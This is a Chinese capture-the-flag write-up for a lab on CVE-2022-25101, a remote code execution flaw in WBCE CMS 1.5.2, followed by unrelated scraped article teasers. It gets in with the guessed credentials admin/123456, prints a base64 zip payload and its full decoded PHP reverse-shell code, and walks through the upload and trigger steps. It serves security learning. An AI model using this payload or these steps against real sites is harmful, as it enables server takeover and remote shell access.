春秋云镜CVE-2022-25101

一.信息收集及漏洞利用

打开靶场,显示界面如下

 

 

 尝试访问靶场描述的路径,返回404,于是开始路径爆破,返回如下

 发现有跳转登录页面,访问/admin/start/index.php,出现登录页面,需要用户名和密码,简单猜测一下admin/123456,发现对了,进入系统

 在add-ons中发现CVE中描述的templates,点击后发现有能够上传文件的入口,测试发现只允许上传zip后缀的文件

 测试上传了几个zip文件未果后,信息收集发现有exp:春秋云镜【CVE-2022-25101】WBCE CMS 1.5.2 RCE - 知乎 (zhihu.com)

使用该exp进行反弹shell

 

 服务器开启监听,返回shell,得到flag

 

 虽然上面虽然就两步,但仍然有很多坑。

1.服务器记得开启对应的监听端口,要不然无法返回shell,我使用阿里云ubuntu20.04,可以使用命令 ufw allow 2333,或者登录阿里云平台开启。

2.记得在使用exp脚本,开启监听后按enter

二.exp脚本分析

先看payload:

PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA'

根据特征知道是base64,也可以根据脚本中导入的包知道是base64。解码发现是zip文件

 

 使用url地址栏可以解析base64,生成zip文件,如下

 

 得到压缩包,打开只有一个t18bknev.php文件,内容如下:

//:t18bknev
//:
set_time_limit(0);$VERSION="1.0";$ip=$_REQUEST["rev_ip"];$port=$_REQUEST["rev_port"];$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon=1;}else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection terminated");break;}if(feof($pipes[1])){printit("ERROR: Shell process terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK: $input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print"$string\n";}}
return 0;

上面文件主要用于实现反弹shell

分析exp脚本发现,在脚本中使用到路径根本没有CVE描述中/templates/install.php,而是/admin/admintools/tool.php中实现上传zip文件

 

 所以这到底怎么回事?CVE收录时描述错误?

exp脚本执行过程如下:

先在Droplets页面中点击Add Droplet,把前面的payload也就是压缩包命名为t18bknev.zip后上传

 

 然后在pages页面中,添加一个page,title命名为t18bknev

 

 然后添加内容为:[[t18bknev]],保存后返回

 

 点击view查看页面

 

 使用hackerbar发送个post包,body为rev_ip=xx.xx.xx.x&rev_port=2333。注意,在发送此post请求包前,先要在服务器开启监听。发送成功post包后,在服务器中可以看到反弹shell,至此整个脚本结束。

 

 那原理是什么呢?添加的t18bknev页面中的内容:[[t18bknev]]代表什么含义?或者就没什么意义,有意义的是创建页面时设置的title=t18bknev刚好和上传压缩包里面的文件名相同?这些问题留之后有空再来看吧,其实只要控制变量多测试几次应该就明白有意义的 是什么了。

 

本文转载于网络 如有侵权请联系删除

相关文章

  • MySQL 连续登录通用计算模型

    某音某团某节面试时,经常会问到连续登录问题,这个问题看似简单,属于那种“一看就会,一做就懵”的问题,网上分享的一些解题思路,逻辑上比较复杂,今天笔者来分享一种简洁而通用的解题思路,应付此类问题变得游刃有余。算法介绍这里主要用到了一个算法:连续日期与固定日期的时间间隔递增,而在日期表中,大于等于当前日期的日期行数又是递减的,两者相加会得到一个固定值,如果相加之和出现变化,说明出现了不连续日期,详情可看下图:初识面试题下面,咱们就应用这个算法来解一下这个面试题:有用户表行为记录表t_act_records表,包含两个字段:uid(用户ID),imp_date(日期)计算2021年每个月,每个用户连续登录的最多天数计算2021年每个月,连续2天都有登录的用户名单计算2021年每个月,连续5天都有登录的用户数构造表mysql如下:DROPTABLEifEXISTSt_act_records; CREATETABLEt_act_records (uidVARCHAR(20), imp_dateDATE); INSERTINTOt_act_recordsVALUES('u1001&#x

  • A*(A星)算法Go lang实现

    packagemain import( "container/heap" "fmt" "math" "strings" ) import"strconv" typeOpenList[]*_AstarPoint func(selfOpenList)Len()int{returnlen(self)} func(selfOpenList)Less(i,jint)bool{returnself[i].fVal<self[j].fVal} func(selfOpenList)Swap(i,jint){self[i],self[j]=self[j],self[i]} func(thisOpenList)Push(xinterface{}){ //PushandPopusepointerreceiversbecausetheymodifytheslice'slength, //notjustitscontents. this=append(this,x.(_AstarPoint)) }

  • 网线测试仪可以测哪些线缆故障?

    网线测试仪通常用来测试一条网线两头所接的水晶头的接法是否畅通,可以帮助判断网线是否完好,同时也能测试水晶头的接法是否正确。它通常有两个端,一个是主测试端,一个是远程测试端。使用时应分别将网线的一头插入到主测试端,另一头插入到远程测试端,然后观察主测试端上的1-8的指示灯亮不亮,而且要注意观察灯的顺序是正确的。网线测试仪可以测出的主要故障有:开路、短路、反接、错对和串绕。开路故障——开路是指铜缆中一根或多根导线中间有断开的地方,这通常是由机械外力造成。线对中短路故障——线对中短路是指一个线对中的两根导线出现短路。线对间短路故障——线对间短路是指两个线对间的导线出现短路。反接故障——反接是因为进行端接操作时将同一线对在铜缆两端的针位接反了,比如一端为5-4,另一端却为4-5。错对故障——错对就是将一对线接到另一端的另一对线上,比如一端接在了5-4针上,另一端却接在了3-6针上。串绕故障——串绕是将原来的两对线分别拆开后又重新组成的线对,包括分岔线对、分离线对和拆分线对。出现这种故障时,由于端对连通性是好的,所以万用表检查不出故障,只能用专用的网线测试仪检查。串绕使得信号通过时在线对间产生很

  • SAP Spartacus自定义Component的使用

    (1)使用命令行创建一个新的AngularComponent:bannerComponent的实现:通过构造函数参数注入cmsComponentdata.而Component的html实现,只是简单的显示一行字符串:Thisisacustombannercomponent (2)在CustomModule实现里,使用第一个步骤创建的CustomBannerComponent替换原始的cmsComponent:最后运行时的效果如下:要获取更多Jerry的原创文章,请关注公众号"汪子熙":

  • 关于WannaRen勒索病毒相关的FAQ(附解密工具)

    4月9日,WannaRen勒索病毒作者公布了解密密钥,基于公布的秘钥,绿盟科技研发了相应的解密程序。针对该病毒,我们整理了如下你所关心的FAQ:Q感染该病毒后有啥特征?A勒索病毒本身的目的就是要引起受害者注意,因此很容易判断是否感染。该病毒会在用户桌面及磁盘根目录创建多个勒索提示信息文件,包括:@WannaRen@.exe、想解密请看此图片.gif、想解密请看此文本.txt、想解密请看此文本.gif、团队解密.jpg。加密文件后缀名被修改为.WannaRen,同时被加密文件头部存在WannaRenkey的字符串标识。Q该病毒为何能引起广泛关注?A首先病毒名称蹭了“前任”WannaCry的热度,甚至还高度模仿其解密工具;其次攻击者使用了多个吸引眼球的图片,包括勒索信息图片及解密工具界面。Q该病毒执行流程是什么样的?A首先从攻击者的C&C域名(cpu.sslsngyl90.com)下载PowerShell脚本文件并执行,可在系统日志中查看到相应的PowerShell执行记录。PowerShell作为下载器,会再次下载文件wwlib.dll、WINWORD.EXE到C:\Progra

  • 07-Ansible循环

    循环语句列表迭代展开列表-hosts:all remote_user:root tasks: -name:install{{item}} yum:name={{item}}state=latest #安装下列所有包 with_items: -mariadb-server -mariadb -php-fpm -httpd复制改写方法1with_items:[mariadb-server,mariadb,php-fpm,httpd]复制改写方法2with_items: - [mariadb-server,mariadb,php-fpm,httpd]复制改写方法3vars: users: -lala -yaya -haha with_items:"{{users}}"复制不展开列表[student@workstationansible]$catloop.yml -hosts:all gather_facts:no tasks: -debug: msg:"{{item[0]}}" with_list: -["haha",&qu

  • docker学习笔记之一 安装

    系统要求安装docker需要以下版本系统的64位系统:Artful17.10(DockerCE17.11Edgeandhigheronly)Zesty17.04Xenial16.04(LTS)Trusty14.04(LTS)卸载老版本老版本的docker叫做docker或者docker-engine,如果安装了,就使用以下命令进行卸载:sudoapt-getremovedockerdocker-enginedocker.io复制设置使用源安装更新源:sudoapt-getupdate复制使用apt使用HTTPS安装包sudoapt-getinstallapt-transport-httpsca-certificatescurlsoftware-properties-common复制添加docker官方GPG密钥:curl-fsSLhttps://download.docker.com/linux/ubuntu/gpg|sudoapt-keyadd-复制使用下列命令设置stable源sudoadd-apt-repository&quot;deb[arch=amd64]https:

  • 如何用 Gerrit 提交代码到服务器

    「Gerrit」是一个开源代码审查软件,最开始是用于管理「Android安卓」项目而产生的,所以做安卓开发的同仁应该知道这个工具。****提交代码流程用法和「Git」类似,如果对Git还不熟悉的话,可以公众号「叉叉敌」回复「git」,可以获得stormzhang整理的一份GIT经典资料。****首先本地安装GIT既然是GIT的,首先是安装,直接在Git-Scm官网下载对应的版本即可。查询代码状态通过status可以查看有哪些文件是需要添加的。$gitstatus HEADdetachedatFETCH\_HEAD Changesnotstagedforcommit: modified:1.txt复制添加代码找到对应的代码或文件有更新,就可以通过add来添加代码带缓存区。$gitadd1.txt#文件比较多的可以用gitadd\*复制这个地方如果遇到「LFwillbereplacedbyCRLF」这个警告。warning:LFwillbereplacedbyCRLFinsrc/\*\*\*.java.复制这个告警出现原因是,因为代码是从Unix或者Linux取到的,其结尾的换行符是

  • Java设计模式-享元模式

    继续啦继续啦,学习不能断哦。继组合模式后开启了享元模式啦。 会了就当复习丫,不会来一起来看看吧。 很喜欢一句话:“八小时内谋生活,八小时外谋发展”。 如果你也喜欢,让我们一起坚持吧!! 共勉? 旧图与旧人 Java设计模式-享元模式一、享元模式前言1)引入:2)概述:3)结构:4)使用场景:二、案例代码案例:俄罗斯方块代码:三、总结1、优点2、缺点:3、使用场景:4、应用实例:四、自言自语一、享元模式前言1)引入:在Java中,我们都知道在创建字符串对象时,都需要去字符串常量池中寻找一番,已经有了,就不再重复创建了,只是把它的引用指向那个地址,没有就再创建。因为如果每一次都去创建新的字符串对象的话,内存开销会非常大,所以说享元模式是池技术的重要实现方式。2)概述:享元模式(FlyweightPattern)主要用于减少创建对象的数量,以减少内存占用和提高性能。这种类型的设计模式属于结构型模式,它提供了减少对象数量从而改善应用所需的对象结构的方式.享元模式尝试重用现有的同类对象,如果未找到匹配的对象,则创建新对象。3)结构:享元(Flyweight)模式中存在以下两种状态:内部状态,即

  • How to Use Git

    团队开发中,遵循一个合理、清晰的Git使用流程,是非常重要的。 否则,每个人都提交一堆杂乱无章的commit,项目很快就会变得难以协调和维护。 第零步:克隆远程仓库 1 $gitclonegit@gitlab.moodle.nordanglia.com:moodle/school.git 第一步:新建issue和分支 首先,每次开发新功能或者修复bug,都应该新建一个issue和一个单独的分支。 分支命名应该以issuenumber开头,例如1-feature-isams-integration,24-bug-require-parameter。 1 2 3 4 5 6 #获取production最新代码 $gitcheckoutproduction_29 $gitpull   #新建一个开发分支1-feature-name, $gitcheckout-b1-feature-name 第二步:提交分支commit 分支修改后,就可以提交commit了。 1 2 3 $gitadd. $gitstatus $gitcommit

  • 太可惜了,四面字节跳动,我的offer竟被一道“算法题”给拦截了 - 简书

    太可惜了,四面字节跳动,我的offer竟被一道“算法题”给拦截了-简书

  • 为什么道理我都懂,却仍过不好一生 | 认知突破

    每个人都有证实偏差   简单来说就是,当你的头脑中预设立场或当你倾向于得到某个结果时,你就更容易在搜寻证据的途中不知不觉偏离公平。而我们之所以没有发现,是因为我们更喜欢自我创造的那个自己。   认清真实的自己   我们对自己的认识是由内而外还是建立在他人的反馈之上呢?别人都说的不一定是真的,因为我们会刻意迎合他人的看法而强化自己的形象。从而让大脑以为我们确实是这样。想想我们为什么要依赖别人的评价,或者致力于满足他人的期待?这种取悦并不是为了别人,而是为了自己,无非是为了让自己对自己更加满意。当你常常看到真实的自己,并接受自己时,就自然没有必要活在别人的意念之中了。   道理我都懂   为什么懂了这么多道理,却依然过不好这一生。知理和明理还是有分别的,道理你是知道了,但是你真的懂了吗?懂不懂的标识就是有没有践行它。如果你认为它有理,你愿意学习,也就是你真实的看到它的好处,并且这个好处是你需要的,那你又怎么会不去践行呢?不去践行的原因要么是你并没有懂,要么是你并不认为它能给你你想要的,或是结果并没有那么吸引你。对一个正确的道理表现出懒惰,就

  • jquery中常见的标题内容之间的切换

    昨天在做后台组的一个小功能的时候遇到的,很基础,但是也很常用,记下来大家一起学习。 比如,需要的是这样子的一个功能,如下图: 最上面一行的的标题和侧面的标题都是可以互相切换的。这个效果很常见,在浏览网页的时候。 首先我们先说下标题之间的切换,完了之后再说标题和内容一起切换。。 我给最上面那排的每一个标题统一的类名是top,然后将点击过后呈现的样式写在了.hover里面。 用jquery操作: $('.top').click(function(){   $('.top').removeClass('hover');   $(this).addClass('hover'); }) 就这样子就OK啦~你可以切换啦! 下面说说标题的内容之间的切换,这是有很多种方法可以实现的,不过对于钟爱jquery的我来说,还是用它实现啦~ 首先在结构中给标题和内容加上相应的属性~比如我给上面的每一个top标题加上了tab,这样子12345依次排开~ 然后给相对应的内容加上相对应的属性,比如rel,或者你喜欢其他的都可以~youchoose!youlike! 不过有点我还是需要强调下哈!标题对应的内容属性值

  • Redis为什么变慢了?常见延迟问题定位与分析

    Redis作为内存数据库,拥有非常高的性能,单个实例的QPS能够达到10W左右。但我们在使用Redis时,经常时不时会出现访问延迟很大的情况,如果你不知道Redis的内部实现原理,在排查问题时就会一头雾水。 很多时候,Redis出现访问延迟变大,都与我们的使用不当或运维不合理导致的。 这篇文章我们就来分析一下Redis在使用过程中,经常会遇到的延迟问题以及如何定位和分析。 使用复杂度高的命令 如果在使用Redis时,发现访问延迟突然增大,如何进行排查? 首先,第一步,建议你去查看一下Redis的慢日志。Redis提供了慢日志命令的统计功能,我们通过以下设置,就可以查看有哪些命令在执行时延迟比较大。 首先设置Redis的慢日志阈值,只有超过阈值的命令才会被记录,这里的单位是微秒,例如设置慢日志的阈值为5毫秒,同时设置只保留最近1000条慢日志记录: #命令执行超过5毫秒记录慢日志CONFIGSETslowlog-log-slower-than5000#只保留最近1000条慢日志CONFIGSETslowlog-max-len1000复制 设置完成之后,所有执行的命令如果延迟大于5毫秒,都

  • pytorch错误:RuntimeError: received 0 items of ancdata解决

    https://www.cnblogs.com/zhengbiqing/p/10478311.html https://blog.csdn.net/chen1234520nnn/article/details/103935825   https://github.com/pytorch/pytorch/issues/973 1)修改多线程的tensor方式为file_system(默认方式为file_descriptor,受限于openfiles数量): #训练python脚本中importtorch后,加上下面这句。 torch.multiprocessing.set_sharing_strategy('file_system') 复制    Sophie的世界,转载请注明出处,谢谢。

  • Python常见函数用法

    1.shape()函数 在numpy模块 输入参数:类似数组(比如列表,元组)等,或是数组 返回:一个整型数字的元组,元组中的每个元素表示相应的数组每一维的长度 #shape[0]返回对象的行数,shape[1]返回对象的列数 dataSetSize=dataSet.shape[0] #一维列表 L=range(5) shape(L)#输出(5,) #二维列表 L=[[1,2,3],[4,5,6]] shape(L)#输出(2,3)即两行三列 复制 2.tile()函数 返回array tile(A,reps)将A复制reps次 tile(x,(n,m))用x构造一个n行m列矩阵 3.sum()函数 sum(a,axis=0)为普通的求和 a.sum(axis=1)将矩阵a的每一行向量相加 4.argsort()函数 x.argsort(),将x中的元素从小到大排序 返回的不是排序好的x,而是排序好的元素在x中的下标序列。 importnumpyasnp x=np.array([1,4,3,-1,6,9]) y=x.argsort()#y的值为[3,0,2,1

  • 随想

    随想 2020 抽空了解下各行各业的财富是如何流动的,如果想要让财富流向自己,应该怎么做,比如可以拿自媒体作为一个研究对象深入了解一下。(2020-11-19) 上学的时候有错题集,工作之后是不是也要有个bug回忆录,用来及时复盘遇到过的问题,举一反三避免问题再犯,在这个过程中提升自己的能力。(2020-10-21)

  • jenkins部署vue项目

    一、新建自由风格的项目       二、配置项目        三、部分部署脚本  #!/bin/bashecho$PATHnpmconfigsetproxynullnpmconfigsethttps-proxynullnpmconfigsetregistryhttps://registry.npm.taobao.orgnode-vnpm-vnpminstallnpmrunbuildcddisttar-zcvfdist.tar.gz* 远程解压安装包 #!/bin/bash cd/usr/local/ui-workspace/portal-ui&&tar-zxvfdist.tar.gz cd.. chmod755portal-ui/-R复制 删除原文件目录,防止第二次打包报错 #!/bin/bash cd.. rm-rfportal_front复制   异乡小龟

  • 乌班图16 配置nginx

    阿里云乌班图16 安装ngnix sudoaptinstallnginx nginx启动重启关闭 sudoservicenginxstartrestartstopstatus nginx的配置 sudovim/etc/nginx/nginx.conf http{ #upstreamdjango{ #server127.0.0.1:8001;#使用8001端口与uWSGI服务器通信 #} server{ listen80; server_namehezhi.site; #location/ann{ #uwsgi_passdjango; #include/home/scripts/uwsgi_params;#theuwsgi_paramsfileyouinstalled #} location/{ root/home/test;#静态文件的目录 indexindex.html;#这里切记不能丢掉分号 } } } 复制 欢迎各位大虾指正

  • ssl 使用流程是如何的(仅供参考)?

    #include<QCoreApplication> #include<chrono> #include<thread> #include<memory> #include<openssl/ssl.h> structSSL_CTX_Deleter{ voidoperator()(SSL_CTX*object){SSL_CTX_free(object);} }; structSSL_Deleter{ voidoperator()(SSL*object){SSL_free(object);} }; intmain(intargc,char*argv[]) { QCoreApplicationa(argc,argv); //[1] autoctx=std::unique_ptr<SSL_CTX,SSL_CTX_Deleter>(SSL_CTX_new(TLS_server_method()),SSL_CTX_Deleter()); //设置证书 if(SSL_CTX_use_certificate_file(

  • 七色花基本权限系统(3)- 利用EasyUI进行首页布局

    EasyUIEasyUI是基于JQuery库的偏js轻型前端UI框架,不了解的读者可以参考官网地址。在项目中增加JQuery和EasyUI,并在布局页中引用。为了结构清晰,方便日后维护和升级,可以在Scripts下创建jquery文件夹和jquery-easyui文件夹。这里选择1.11.0的JQuery和1.4.3的EasyUI。特别说明一下,我已经修复了该版本的几个(只能通过修改源码来修正的)bug,并在updateLog.txt文件中做了修复记录。 图标库再引入2套通用的图标库,以及预定义一套自己的图标库。2套图标库可以点击下载。别忘了在布局页中增加对图标库的引用。 首页布局考虑到本系统是应用型管理系统,因此需要区别出首页专用布局页和模块专用布局页。复制一份_Layout.cshtml,并重命名为_MainLayout.cshtml,同时在首页(/Home/Index)视图中将layout指向_MainLayout.cshtml。现在在首页视图中增加一个layout,稍做布局,测试一下效果。1@{ 2ViewBag.Title="七色花基本权限系统"; 3La

相关推荐

推荐阅读